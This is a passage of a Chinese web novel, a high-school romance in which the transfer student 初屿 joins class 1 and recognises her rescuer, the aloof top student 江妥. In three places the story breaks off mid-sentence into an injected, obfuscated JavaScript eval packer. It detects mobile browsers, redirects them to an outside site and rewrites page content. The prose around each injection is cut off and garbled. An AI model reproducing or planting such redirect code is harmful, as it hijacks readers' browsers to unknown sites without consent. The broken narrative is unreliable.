大概是怕她落下太多，傅国沪没怎么耽误，当天中午就用短信给她发了份一班各科的进度。 初屿扫了一眼，悲催地发现他们班进度真的好快，快到离谱，不愧是补了大半个暑假的课。 宜大附高也十分爱补课，但因为她在的班级并不是这种直升的全理科，高一暑假过后是要重新按照文理志愿重新分班的，暑假不好补课，这会是真真实实地差了一个月的进度。 初屿有气无力地按按键编辑短信，【收到QAQ】 此时正好云香娥从巷口唠嗑回来了，她推开爬满三角梅的铁门，看见初屿躺在小摇椅晃，一脸的郁闷加生无可恋。 “我们抱抱这是怎么了，嘴瘪得啊都能吊壶茶了。” 初屿轻皱了皱鼻子，指尖一下一下地戳手机下坠着的小粉兔子，嗓音耷拉着，“和新班级的进度差了好多，感觉国庆七天都要搭上了，没得玩了。” 云香娥捏了捏小孙女的鼻子，她对初屿学习的一向没什么要求，只要她开心就好，“那外婆中午给你做你最爱吃的红烧鱼，补补脑！” 初屿眉眼又弯起来，长睫毛卷翘灵动，“好！多放辣椒！” 吃完饭，云香娥小睡一会，就乐颠颠地出去搓麻将了。 初屿待在小院里看书刷题，一晃眼就是一个下午。 今天天气很好，是很舒服的阴天，昨夜下了雨，槐树洗得树干黑亮，枝桠肆意张扬着，挂着一串又一串洁白的槐花。 轻轻缓缓的风带落几片白花瓣，在空中打了几个旋儿飘下来，落到她的草稿纸上。 “抱抱！！！” 初屿回头，薛颜在铁门外朝她招手。 她起身去开门。 薛颜刚从学校回来，还穿着校服背着书包，手上拿着把小扇子不停扇风，一进门就嚷起来，“哎，这天杀的月考，可算是考完了，你干嘛呢？” 她抬手帮初屿把头发上的槐花瓣拿掉。 初屿：“看书呢，赶进度。” 薛颜扫了眼她摊在石桌子上的一大堆教材书参考书，瞬间拧起眉头，“啧，我的妈呀，看到物理我的头就好痛。” 薛颜学习从小就烂，烂就烂了，还偏科，理科烂得每次考试都能把薛叔的血压气高。 于是去年高二分班选了文科。 薛颜看她补进度苦恼，一边摇扇子一边出馊主意：“你让傅迟南给你补补呗，他现在可了不得了，我们一中大名鼎鼎的黑马是也。” 其实傅迟南这人就是偏科，高二分班之后撇去文科成绩立马就好看了，加上现在高三了他态度端正不少，排名一路直上，稳坐年纪前三。 初屿果断拒绝：“可别，他教人脾气好差，我怕被骂。” 薛颜拉着她的手，一副找到同道中人的神情，惊讶道：“你怎么知道？！他也骂你了？你这样的都会被骂？！” 初屿摇头，她成绩一直还可以的，用不着被辅导，她老实道：“之前老看他骂你来着。” 薛颜：“………………” - 国庆七天，初屿大部分时间都在自家院子里看书刷题。 基本上没怎么出门过。 原因其一是她身上带伤，两条腿的膝盖都破了皮，一条腿崴了脚。 原因其二就是自从出了上次那件事，巷子里的长辈都不许她们晚上出门，就连白天出门也必须要在傅迟南的陪同下才行。 而傅迟南要睡觉，打球，打游戏 原因其三是压根就没有人和她玩。 巷子目前和她同龄的女孩儿就只有薛颜。 但她这学期高三了，陈云终于意识到她这样下去恐怕是考不上大学，于是正好乘着休假，守着她在家学习。 上午，下午，晚上，都要没收了手机在房间里关两个小时。 不过薛颜早有防备，整个假期都在房间里看她藏在床底的小说。 薛颜：“这要不是明天就上课了，我妈还不肯放人呢，出来多好啊，自由的风，自由的空气，啊——还有帅哥看。” 她眼睛盯着对面的球场，初屿顺着看过去。 现在大晚上的，荡秋千的这边离的篮球场有点距离，以她夜盲的情况，是看不清球场上的人脸的。 她随意扫了一眼，人一般总是会被自己熟悉的东西率先吸引注意，换在往常她一般会在一群奔跑的模糊身影中第一眼看见傅迟南。 但今天，她在一群男生中一眼看到是另一个男生。 因为他在其中，显得格外出众一些。 在夜色里又穿着白色的短袖，投球的姿势格外潇洒桀骜。他正跑到三分线处，也没见他怎么瞄准，似乎扬手随意一投，投完没再看球，径直就往篮框下跑。 篮球在空中划过一道干净利落的抛物线，然后，哐当一声进了篮框。 身形很像。 初屿又想起了当晚救她的那个男生。 初屿回过神，“对了颜颜，我上次让你打听的打听到了嘛？” 薛颜：“啊对，你要不说我又忘了，我昨天帮你问到了当天执勤的一个小学妹，那天晚上整个学校请假出去的就五个人，四个女生，剩下的那个男生在医院割阑尾。” “啊，”初屿的眉眼耷拉下去，一下一下地荡起秋千，夜幕低垂，明亮的星子好像就在咫尺之间，伸手就能碰到。 她的嗓音被吹散在风里，“不在请假名单里，看来是逃课啊。” 薛颜兴冲冲地一波分析，“我跟你说，一中晚自习管的可严了，要逃课的只能翻墙，所以我初步推测他应该很高！” 初屿有点无语：“嗯，不止高，而且白，而且帅。” 薛颜尴尬：“……啊对，你是见过他的。” 薛颜继续分析，“那我猜他一定是一楼的，放眼整个年纪也就他们有胆翻墙逃课。” 因为傅迟南逃课就不翻墙，他都是大手一挥自己批假条，就显得文明很多。 淮城一中是按成绩排班的，从一班按成绩依次排到二十班。 楼层也是按成绩排，每个年级各占一栋大楼，秉承着高楼层受到外界打扰的少，一班安排在最高的楼层七楼，一楼的班级则是各年级最差的那几个班。 初屿想起那晚，他拎着滑板混不吝地往她身前一站，轻描淡写地让她先上楼的情形，立马点头表示认同：“他胆子确实很大的。” 薛颜笑道：“这么上心，你该不会对人家一见钟情，因为人家救了你就打算以身相许吧？怎么回事，初抱抱，你还真的从小到大都吃这套啊。” “什么一见钟情？” 傅迟南正好打完抱着球过来，他灌了一大口水，“说什么呢？” 薛颜：“我问抱抱是不是对那天救他的那个男生一见钟情。” 傅迟南笑一声：“那不能够啊，她不是很小的时候就一见钟情以身相许过了？这玩意不得讲究个先来后到。” 初屿：“……” 他们说的是初屿七岁那年报名夏令营，因为贪玩跑出队伍，掉进湖里被一个小男生救了的事。初屿自从被救之后就很对人家恋恋不忘，那个小男孩给她的一个石头项链还被她当成宝贝一挂在脖子上好多年。 薛颜逗她，“来，让姐姐看看你的宝贝项链。” 初屿不好意思捂着领口，把项链藏好，“哪有，你好烦，等会我就去告诉阿姨你床底下全是小说。” 薛颜这下开始举双手投降了，“别别别！你这就有点玩不起了啊初抱抱。” 等她俩闹够了，傅迟南问：“明天你什么去学校报道？” 他说完像是刚反应过来，转过头眯着眼睛在对面昏暗的球场扫了一圈，“欸，江妥应该也是一班的，他人呢？” 他们一群人刚才还说再打一会就去吃烧烤，傅迟南因为带着这俩祖宗，家里长辈说到点要送回去，就没去。 江妥那哥们好找，长得高，很打眼，粗扫一眼没见到应该就是走了。傅迟南把视线收回来，不在意地说了声：“走这么快呢。” 薛颜从秋千上跳下来，“我刚看到他和两个男生走了，刚走。” 傅迟南看她一眼，冷笑道：“你倒挺关注。” “那不然呢，我不看他难不成还看你啊，”她一脸花痴，“这弟弟又高又帅，打球又厉害，我好吃他臭拽那套啊啊啊啊啊” 初屿听他们讨论江妥，其实很有些郁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他说完，又像是不放心地补充道，“这样吧，你等会来我办公室，我把那我上次没收的甩棍给你几根……” 傅迟南：“……………………” 傅国沪的小电驴骑得比人家走的还慢，像是乌龟在爬，又一路念叨个不停，初屿要不是书包太重加上还要一同跟他去报道实在是想跳车。 “你等会先把初屿的东西放到一班去再去上早自习，我带着她去办转学手续。” “哦，对了，记得去教材室搬套新桌椅上去，听见没有？” 傅迟南都快被他念叨地睡着了，嗓音拖着有气无力的调，“知道了。” 到了一中校门口，傅迟南先下车，他接过初屿的粉色书包单肩背好，抱起摆在车前沉甸甸的纸箱，面无表情地往高二楼走。 七楼。 手上全是东西，他抬脚踢开一班的后门。 离学校正式的铃响还有几分钟，但一班自己规定了早自习提前十五分钟记迟到，因此班上的人都到齐了。 齐明坐在中间的最后一排，在读书声里听到动静，一扭头就看到他，“哟，这不傅哥么，什么风把你给吹来了。” 傅迟南走进教室，手里的纸箱往齐明身后的空地上一放。 齐明笑：“怎么傅哥，您这是，留级了啊？” “去你的，”傅迟南笑着把肩上的粉色书包甩他身上，“你闲着没事做啊？那行，去一楼给你们班转学生搬套桌椅呗。” 齐明是一班的体育委员，他性格特好，和谁都自来熟，永远精力充沛，像是天生的热心肠，闻言腾地一下站起来，“得嘞。” 齐明下楼前还不忘作死地推了下他同桌，“重大消息，咱们班要来新同学了，女生，”他瞥了眼初屿挂在书包拉链上的小兔子挂坠，又凑近低声补充道，“软妹。” 他身旁的男生正趴在课桌上在补觉，乌黑的额发凌乱，指节分明的手搭在脖颈上，指节不耐烦地蜷了一下，又没了动静。 5. 十七岁 第一节课上课铃声响。 一班的班主任兼数学老师王德走进班里，他不高，略胖，脸颊各边都有两个很深的酒窝，笑起来眼睛眯成一个小缝，活像尊弥勒佛。 初屿站在教室外面等，前排有好奇的人探头打量她，教室里闹哄哄的。 “同学们，安静一下，相信大家也听说了，咱们班来了个新同学，来初屿进来，给大家做个自我介绍。” 初屿规规矩矩地走进教室，站到讲台旁。 她还没领到校服，穿着奶白色卫衣，下身是黑色半身裙，裙摆缀了纯白色的蝴蝶结。头发扎了一个半丸子，别了个小兔子发夹。 巴掌大的鹅蛋脸带点婴儿肥，鼻子不是很高，但胜在小巧精致。 原本是很可爱邻家的长相。偏偏生了一双极其灵动璀璨的狐狸眼，清凌凌的眼眸，长睫毛乌黑卷翘，眼尾轻轻向上勾着，是明媚又张扬的漂亮。 “大家好，我叫初屿，初见的初，岛屿的屿，接下来的日子希望大家多多关照。” 台下一阵起哄喧哗声。 有人悄声讨论，“之前我们初中的，校花呢。” “你认识？” “没，名声大，隔壁班的，她初二还转去别的市了，听说好像是宜城那边。” 初屿按照老师的安排，走到教室后排的空位置上。 因为是临时转校过来的，她的位置孤零零的，独个儿一排，也没个同桌。 她刚一坐下，前桌的男生就转过头来，笑嘻嘻的，露出一个小虎牙，“初屿，我叫齐明，体委，你有什么事都可以找我。” 初屿笑笑，点头，“好的。” 国庆小长假回来，王德作为班主任并没有直接开始讲课，而是在讲台上闲聊了一会，还提到了最近的发生人贩子拐卖事件，叮嘱大家一个人外出一定要警惕。 期间不停的有探究的视线落到她身上，初屿也一边听老师闲聊一边打量着新班级的环境。一班人不多，加上初屿也才五十二个人，男生比女生稍微多一点。 初屿注意到班上的座位排布很有意思，基本上都是男生和男生坐同桌，女生和女生坐同桌。学生时代的同桌之间很容易就产生细腻的心动，这倒是个有效预防早恋的办法。 初屿漫无目的地扫了一圈，发现齐明旁边的男生从上课开始就一直在睡觉。 他侧着头，初屿只能看见他一头短茬的黑发。 可能因为长得高趴在桌面上的缘故，他背脊弯着，皮肤冷白，脖颈上凸起的椎骨好似终年不化的雪山，一路从校服衣领延绵下去。 他手随意地搭在脖颈上，宽大的掌骨，指节分明，校服的袖口往上蹭了点，露出腕骨处的几处褐色的新疤。 过了几分钟，大概是老师的嗓门吵到他了，男生动了动肩胛，缓慢地抬起头，然后垂着眼皮面无表情地盯着黑板放空。 侧颜有些熟悉。 初屿心里一动，她不着痕迹地轻歪一点头，试图以偏一点角度更好地打量他。 男生就毫无预兆地转过头来。 视线猝不及防地交汇。 他额前的黑发睡的凌乱，眉眼垂着，眉尾落有一颗很淡的痣。左脸上睡了几条很浅的折痕，目光迟钝地在她脸上聚焦。 这回初屿看的很清楚。 他五官俊朗清隽，生了一双狭长好看的桃花眼。 就是那天晚上的男生。 初屿抿了下唇，眼睛却不受控地笑了起来。她抑制住心里乱跳的激动，有些想抬起手和他打个招呼，又莫名有些紧张，于是倒显得有些手足无措起来。 这紧张来源于他的神情。 他五官偏冷，姿态拽颓，眼皮极薄，要掀不掀的，看上去没多大兴致似的，点漆的黑眸平静淡漠。 看她，像是在看一个莫名其妙出现他们教室的陌生人。 初屿想要抬起和他打招呼的手在空中顿了顿，有些拿不准他是不是已经不记得她了。 齐明见他那模样，调侃道：“让你睡，这回懵了吧，是不是以为天降仙女？” 他反应了两秒，狭长的桃花眼盯着初屿，唇角轻扯了一下，刚睡醒的嗓音有些哑含着笑，“是。” 他眼神与刚才的淡漠不同。 带着点热烈的笑意。 看来是记得的。 初屿抿了抿唇，唇边漾开一个小梨涡。 王德敲了敲桌子，“好同学们不要闲聊了，抓紧时间上课，这次月考成绩已经出来了，等会班长记得把成绩单贴出来，上课上课。” 他俩转了回去。 初屿翻出数学书，却发现老师手里拿的是一张试卷。 王德讲了两句，突然反应过来，“啊，初屿没卷子是吧，这也没有多的啊。那个江妥，你这次又满分啊，值得表扬，那把你的卷子给新同学，你和你同桌合着看吧。” 初屿一愣，她下意识地抬起头看向前排，在她的认知里，成绩好的一般都坐在前排。 但前排并没有人站起来，或者向下传递卷子。 反倒是她斜前桌那个明显还没睡醒的男生低头在抽屉里翻了两下，随后拽了张皱巴巴卷子侧身扔在她桌子上。 “……谢、谢谢。” 初屿愣了好长的几秒，才一脸呆滞地拿起卷子，她伸手机械地把卷面一点点抚平。 考试交的是答题卡，试卷都是自己保管，他的卷子除了皱痕，基本没留下什么笔迹，干干净净的，甚至干净得有点过分了，就只有后面几道大题简单地划了两下，作了两条辅助线。 初屿看向装订线外的填写框。 那里只填了姓名，字迹潦草，龙飞凤舞的，但并不难看出写是江妥两个字。 江妥。 所以她假期里看到的背影会觉得像。 原来就是一个人。 救命恩人和讨厌鬼，是同一个人。 她心情有点复杂。 不，是很复杂。 但她来不及过多地细想，因为她是好学生，而老师已经开始讲卷子了。 数学这门初屿进度落得最多，她补进度补得匆忙，每门都只是粗略的看一下重点然后刷题，自然有很多知识点题型没顾到的。 一班的基础很好，尤其是数学。 看王德讲卷子就知道了，他前面几道选择题只念个答案，到第八题之后有人提问他才简单地提一嘴解题思路，重点只讲倒数两道选择题。 况且其他人都做过了，而她才刚拿到卷子。 初屿拿出草稿纸，一面快速地做题，一面听着老师讲解。 一堂课下来，一张卷子就讲完了。 初屿搁下笔，如释重负地深吐了一口气，因为过度认真，她脸颊染上红，看上去粉嫩嫩的。 王德慢悠悠地端着他的那杯菊花茶走到她座位旁，他知道初屿的进度落了很多，说了些话安慰她，让她听不懂不用急随时都可以去办公室找他问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177109|196906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 初屿被这节课折磨到想发疯，想到自己今天一整天都要这么度过，她表面上乖巧点头，内心已经狂躁地掀了一百八十遍桌子了。 老师都喜欢乖学生，王德满意地点了点头，端着菊花茶慢悠悠地离开了教室。 班长正在教室后面的公告栏上贴成绩单，一堆人都挤在初屿身后看成绩。 他们中有些人看完了成绩会走到她桌子前顺势和她打个招呼，其中有几个看着面熟，是她初中的校友，初屿和她们有一搭没一搭地聊了一会。 等他们走后，班长过来了。 他戴着副眼镜，清清俊俊的。大概是刚在后面贴成绩时听到了老师和她的谈话，知道她落了不少进度。 他手里拿着一沓笔记本，另一只手不好意思地抓了抓头发，“初屿同学，这个是我各科的笔记，重点难点还有常见的题型都有记，你、你需要吗？” 初屿瞬间觉得自己的学习乃至自己的整个人生都还有救，立马接过，笑得眉眼弯弯：“谢谢，我太需要了。” 她这一笑，班长耳朵腾地红了，支支吾吾道，“那个，我是班长，照顾新同学应该的。” 上课铃声正好响起，他打算回到前排自己的座位上。 初屿喊住他，从书包侧层里翻出一颗草莓味的水果糖，递给眼前的男生，“谢谢班长，请你吃糖。” 班长接过，红着脸往前排走。 这节课是语文，进来了一个瘦瘦高高的中年男人，戴细边的眼镜，穿整洁的衬衫，一股子书卷气。 初屿正低头整理课桌，突然有只修长白皙的手啪地一声搭在她的桌面，掌心朝上。 这手她很熟悉。 这些天曾反反复复的出现过在她的梦里。 拽着她逃离恶梦。 初屿茫然地抬起眼。 手的主人很拽，头都没回，目视着前方，见她没动静，手背屈着叩了叩桌面，是一副讨要东西的桀骜姿态。 意识到上节课的数学卷子还没归还给他，初屿轻眨了下眼，诚惶诚恐地将卷子放置到他手心。 江妥明显愣了一秒，搁在她桌面上的左手没动，右手伸过来把卷子拿走，空了的左手又叩了叩她的桌面，这次叩的频率比刚才急促，像是无声的催促。 思及刚才发生的事。 初屿心里划过一个荒唐的念头。 她迟疑了两秒。 手摸进书包，指尖还是犹豫了一下。 天地良心，她真不是舍不得。 主要是实在不愿意相信有人能顶着这么一张又拽又野的脸干这么幼稚的事。 前方的男生像是已经懒得再等她磨叽，直接转过身，嗓音带着点不爽的谴责：“噢，不用谢。我的呢？糖。” 初屿真服了。 轻鼓了下腮帮子，将里攥的糖塞到他手里。 齐明下课的时候补了下觉，这会刚睡醒，迷茫又震惊地看着这一幕，跟见鬼了一样，“妥哥，你干哈？！欺负转学生啊？” 江妥对于他同桌的质问毫不在意，他收拢手指，指尖在玻璃糖纸的表面滑过，一边转身一边潇洒地扬了扬手，嗓音带有不可一世的张扬，很有少年感，“谢了啊。” 说完，他干脆利落的收了手，将糖揣进校服外套的口袋。 再转身甩给她一张语文卷子。 “谢谢。” 初屿心情复杂地接过卷子，莫名有种被收了保护费的感觉。 6. 十七岁 这张语文卷子看起来要比他的数学卷子体面，卷面平整一些，但还是有些皱痕在上面，像是提前被人抚平过。 初屿看向他，秋日稀薄的日光从左侧的窗口泄进来，落到他侧脸上，像给他渡了一层光晕。 他眉眼俊朗，肤色冷白，微仰起头时，利落干净的下颌下方一点有颗痣，贴着冷白薄皮下青色的颈部血管。 初屿不知道该怎么形容这颗痣，总觉得，有种青涩的性感。 他把卷子给了她，也没有去看齐明卷子，指尖转着笔，不时落笔写些什么。 上甲课干乙事，是语文课的常象。 初屿也一样，她把语文卷子放在一侧，另一侧是刚才班长给她的笔记。 估摸这这个笔记班长平常要用，初屿想早点看完还给他。 语文课下课。 广播响起，班上的人开始陆陆续续地起身往外走。 初屿有些迷茫，问齐明：“你们是哪套广播体操啊？” 齐明伸了个懒腰，对她说，“好像叫舞动青春来着，没事你不去也可以的，反正你校服也没领到。你们女生额……特殊情况的时候可以不去做操，这个学校不怎么查。” 初屿点头。 尽管他说不查，但没过几分种，教室里的人就走的差不多了。 就剩下初屿，第一排一个趴在桌子上的女生，还有江妥。 现在温度有些上升，他大概嫌热，把校服敞开，脱了一半卡在手肘处，里面是干净清爽的白色短袖，露出一小截清瘦有力的手臂，侧颜认真，皮肤冷白，依旧垂眸在写些什么，长眼睫落下细碎的眼影。 没有了齐明的遮挡，初屿侧首瞄了一眼，应该是某套练习题，看厚度都快写完了。 她犹豫了一下，抬手戳了戳他的背。 江妥转过身，“怎么？” 初屿轻声问：“那个，你的数学卷子，能再给我一下嘛？我想把错题记一下。” 他噢了一声，随手把压在练习册下的卷子递给她，淡声道：“不用还了，拿去裁。” 好嚣张。 初屿记起来老师说他是满分。 “谢谢。” 她接过卷子，这次不用他提醒，很上道的，顺势往他手里塞了一颗糖。 打算收回的手里被塞了个东西，然后是软嫩的指腹划过手心的触感。 江妥垂眸看向手心，那里躺着一颗糖，外面的包装上印了一颗白桃。 江妥轻笑了一声，背往椅子上一靠，嗓音散漫，“谢了啊。” 他撕开包装塞进嘴里，咬碎糖，发出清脆的咔嚓声。 初屿翻找出一个喜欢的笔记本用来订正错题。 然后小心地用工具刀裁剪下来错题，再用固体胶贴到笔记本上。 栽完错题，初屿合上笔盖，隐约听见教室里有压低的哭声。 她抬眼，看向教室前排始终趴着的那个女生。 江妥显然也听到了，他抬起头看了一眼，有些茫然地转过头来，看向初屿。 对视两秒。 初屿从他眼里读懂了他的意思。 【你去看看。】 她眨了眨眼，很快眼神意识回去。 【可、可是我不认识她，她叫什么名儿我都不知道，我该说些什么话，我很怕女孩子哭的，要不你去吧，你应该会熟一些，你觉得怎么样？】 很显然，她眼里想表达的情绪太多，他无法体会。 因为他略微赞许地点了点头。 “……………………” 好吧。 初屿从书包里翻出一小包新的纸巾，攥在手里，走到前排那个女生的座位旁。 初屿在心里盘算着，她没下去做操的话，可能是生理期，看她趴在桌子上，也许是疼哭的。 初屿蹲在女生的桌子旁，把纸巾拆开抽了一张递给她，轻声问：“同学，你是肚子疼吗？我那里有布洛芬你需要吗？我帮你倒杯热水？” 袁诗琪哭着摇了摇头，抽涕的声音更大了些，肩膀一颤一颤的。 初屿有些手足无措，她是真的很怕女孩子哭，也不会哄人，加上和眼前的女生并不熟，一时不知道怎么开口。 但是来都来了，干站在这里也不太好，初屿掏出口袋里的糖，干巴巴地说道：“那你要不要吃糖？吃甜的心情会变好。” 袁诗琪轻瘪了瘪嘴，吸了吸鼻子，侧首看了初屿一眼，接过她手里的糖，嗓音带着浓浓的哭腔，“谢谢。” 她难过不是因为身体不舒服，而是因为这次月考没考好。 袁诗琪是一班的英语课代表，高一的时候因为文科成绩好排名一直在班上成绩中等偏上，有时好的话还进过前十。 但这次是文理分科后的第一次考试，加上她因为太过紧张没有发挥好，排名很垫底。 她从小到大几乎成绩一直很好，中考是全县第二，上了高中后逐渐感到吃力，这次考完成绩一出来她就忍不住了，又极力坚持着，不肯让别人发现。 她接过了糖，也没吃，就紧紧握在手心里。 初屿也不知道再该说些什么，不过好在一会后班上的人陆陆续续上来了，有女生发现了过来安慰她。 初屿松了一口气，转身准备回到自己的座位。 她转身，看到江妥闲闲地靠在背椅上，窗外的阳光打在他侧脸上，他长腿胡乱摆着，抱着臂，目光灼灼地盯着她看，狭长的桃花眼热烈。 他看什么呢。 初屿有些莫名。 她迎着他直白的目光走回自己座位，坐下。 他也跟着转身回头，朝着她，轻昂了昂下巴，语气似笑非笑的，像是在夸赞，又像是在嘲讽：“你记性还挺好。” 初屿不懂，但还是礼貌的问道：“谢谢。” 嗯，她记性是挺好的。 她看他记性就不是很好，小时候的事是一点也不记得，到现在都没认出她。 - 上午的后两节是物理和化学，一样是这次月考的试卷。 课前江妥会把当堂课的卷子给她，并且大方地表示不用还。不用抄题目，初屿简直感恩戴德，一手接卷子一手塞糖。 差了一个月的进度，还得临时做卷子，这两节课上得她艰难忙碌又卑微。 还好，很快到了中午。 摇杏巷说近也不近，说远不远，可以选择回家吃或者吃食堂。 傅迟南和薛颜俩平时都是吃食堂，傅迟南那家伙单纯是因为懒，薛颜她爸妈都是医生压根没时间回家给她做饭。 初屿如果不回去吃的话外婆就在麻将馆吃了，中午的太阳又大，她也懒得来回折腾。 早上的时候傅国沪带她去办了饭卡，也充了钱，她准备去食堂吃。 中午一下课，袁诗琪和她同桌邹星琪过来邀请她一起去食堂吃饭。 初屿笑着点头。 淮城一中食堂的饭菜中规中矩，除了有点咸，不算难吃。 和她一起吃饭的两个女生也很好相处，很照顾她的情绪，聊班上八卦趣事时也会向一一她解释说明。 初屿觉得自己来到新学校的第一天过得还不错。 吃完饭她们很自然地走进了食堂一侧的小卖部。 然后各自欢快地挑选着自己喜欢的零食，初屿转了两圈，挑了两盒水果糖去付款。 - 淮城一中的规定是不论住宿生通宿生都得回到教室午休。 午休的时间是一节课，午休结束会各年级集体听广播练听力。一天有两次听听力的时间，第二次是在第一节晚自习前。 然而初屿午休的时候，江妥同学的座位是空的。 初屿听听力的时候，江妥同学的座位还是空的。 直到下午第一节课上课铃响他才不慌不忙地回教室。 好吧。 这少爷不愧是晚自习翻墙逃课的人。 下午最后两节课都是英语课。 英语老师是一位很时尚的中年女人，一班唯一的女老师，踩着高跟鞋，烫着大波浪，看上去雷厉风行的。 她一进教室，初屿就知道这应该是位不好唬弄的老师。 因为江妥总在睡觉，只有这节课齐明一上课就把他喊起来了。 初屿英语很好， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177110|196906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 属于语感好的那类。 加上老师一开始在分析试卷听力部分，她考试没考，听力听都没听过，于是在理所当然地在摸鱼。 又理所当然地将视线落到斜前方的男生身上。 他刚醒，这会偏着头，神情冷倦，眼神放空。 经过一整天的观察，初屿算是看出来了，他大概就和她老旧的手机一样，被吵醒后，需要很长一段开机时间。 她偷偷地，一寸一寸地打量他，似乎是想从他脸上找到他小时候的影子。目光落到他狭长的桃花眼，长睫毛，高挺的鼻梁，薄唇。 这、整容也不带这么整的吧。 简直是换了个头。 初屿扫了一眼他在课桌下无处安放的长腿，他大概清醒一点了，收起撑在桌子上的手肘，背微往后仰，开始吊儿郎当地轻晃椅子。 初屿心想怪不得他要坐在最后一排，长得这么高，还爱晃椅子，谁受得了。 他这腿又是怎么长的。 小时候还没她高来着。 大概是她看得有些频繁了。 他原本侧首在看齐明卷子，像是察觉了，眼风轻轻地往后撩，初屿一时心虚，慌忙收回眼。 初屿低头盯着卷子。 心里盘算着对他该用什么样的态度。 小时候的他和现在的他好像被时光割裂了一样。 在她心里变成了两个完全不一样的人。 初屿小时候不喜欢他，暑假他在的时候都不去阿婆的院子里玩，加上时间久远，记忆里对他的长相很模糊。 只记得他很讨人厌，很爱炫耀他家有钱，瞧不起在小巷的任何人，包括自己的亲外婆，也很爱发脾气，总是对阿婆呼来喝去的，一点都不尊重人。 印象最深的一件事是有一次他用一盒子进口的巧克力，让巷子里其他嘴馋的小朋友像狗一样地趴在地上叫，谁叫最响就给掰一块巧克力扔给他。 初屿记得他那个时候的眼神，沉腻腻的，让人不很舒服。 这是她人生第一次明白坏这个词。 想到这，初屿没忍住轻皱了下眉。 而现在的他。 初屿觉得有些矛盾。 看上去好像性子冷不好相处，但有时候又挺幼稚的。 她甚至格外喜欢他的眼睛，桃花眼，眸子是清澈纯粹的黑，好干净，没睡醒的时候，眼睫会染上一层薄的雾，像清晨的远山。 成绩很好，却坐在班级最后一排，整日的睡觉，还逃课。 但如果他那晚没有逃课，就没人救她了。 她几乎是没什么逻辑的胡乱想着，眼神又不自觉地落到他身上。 刚才没怎么注意，现在仔细一看，才发觉他下颌上又青紫了一小块，好像还破了点皮，明明上午还没有的。 初屿抿唇，这少爷，该不会刚才那会又抽时间出去救人了吧。 有些人表面是年级第一的高中生。 实际上是迪迦奥特曼吗？ 她才看了几秒。 男生的眼风再一次倏地往后扫过来，初屿连忙慌乱地低头一脸专注地盯试卷。 过了两秒。 初屿像是想测试什么，悄悄地抬眼，盯着他的侧脸看。 心里默数着—— 1—— 2—— 3—— 江妥原本是微侧着脸，垂着眼看向齐明摆在两人桌子中间的英语试卷。 初屿的视线一看过去，他像察觉到了什么似的，吊儿郎当地挑了下眉，舌尖抵了一下腮帮子，无声地笑了起来。 笑到肩胛都细细地发着颤，十足的少年气。 下午第一节课很容易犯困，齐明都快被英语老师催眠地睡着了，被江妥这一笑吓了一跳，偏头惊悚地看他，“妥哥，你好端端地笑什么，我魂都被你吓掉了。” 江妥垂眸，没说话，独自笑了好一会，又开始欠里欠气地晃椅子。 初屿迅速收回眼，脸上莫名有些发热。 她忍不住想，这，该不会是哪里来的妖怪变成的江妥吧。 不然，他怎么跟背后长了眼睛似的。 7. 十七岁 上晚自习的时候。江妥同学的座位又是空的。 第一节晚自习没来。 第二节晚自习也没来。 第三节晚自习上课前。 齐明已经和初屿混熟，转过身和冲她挤眉弄眼，“欸，初屿，你和傅哥什么关系？我今早可都看到了啊，他给你把书包背上来的，你们不会是在搞对象吧？” 初屿刷题刷到脑子嗡嗡的，被他吓了一跳，忙摆手，“没有没有，我们从小就是邻居，书包是傅主任指使他帮我拿的。” 齐明哦了一声，“你和傅主任是邻居啊？那你岂不是和妥哥也在住一个巷子里，我就说嘛，原来早就认识的啊。” 初屿心想，他认识个鬼，他早不记得了。 记得了准打起来。 上课铃声响起，初屿看向前方那个空落落的座位，确定这少爷今晚不会再来了。 而且看班上人的反应，他这样应该也不是一天两天了。初屿开始怀疑薛颜说的话了，什么叫做一中晚自习管的严，她看他就如同出入无人之境。 初屿开始在背后说坏话：“你同桌，感觉很嚣张的样子。” “说谁嚣张呢？” 江妥慢悠悠地从教室后门进来，走到自己桌子前，狭长的桃花眼浸了些戏谑，轻瞥了一眼初屿。 初屿抿了抿唇，没吭声。 心想，早不来晚不来。 齐明也疑惑，问他：“你怎么回来了，就差一节课放学了，不会是国字脸要查人吧？” 江妥坐下，从课桌里翻出一本习题集扔桌面上，淡声道：“东西落了。” 初屿听着他俩的对话，愣了好一会，才反应到他们口里的国字脸说的是傅叔。 她额角抽了一抽。 就、还挺贴切的。 江妥从拿出练习册后就没再说话，看的出来，他做题挺容易进入状态的。上课开始几分钟的时候，齐明还在和前面的男生讲些什么，压着声音笑作一团。 而他垂眸看着习题册，长睫的投影垂落在他脸上，手上的笔随意划了几下，指尖就翻到下一页。 认真的时候，还蛮正经的。 初屿收回视线，低头翻着今天班长给她的笔记。这一天各科都已经将月考卷子讲完了，那么明天就会开始正式上课，她急着赶进度，不想越落越多。 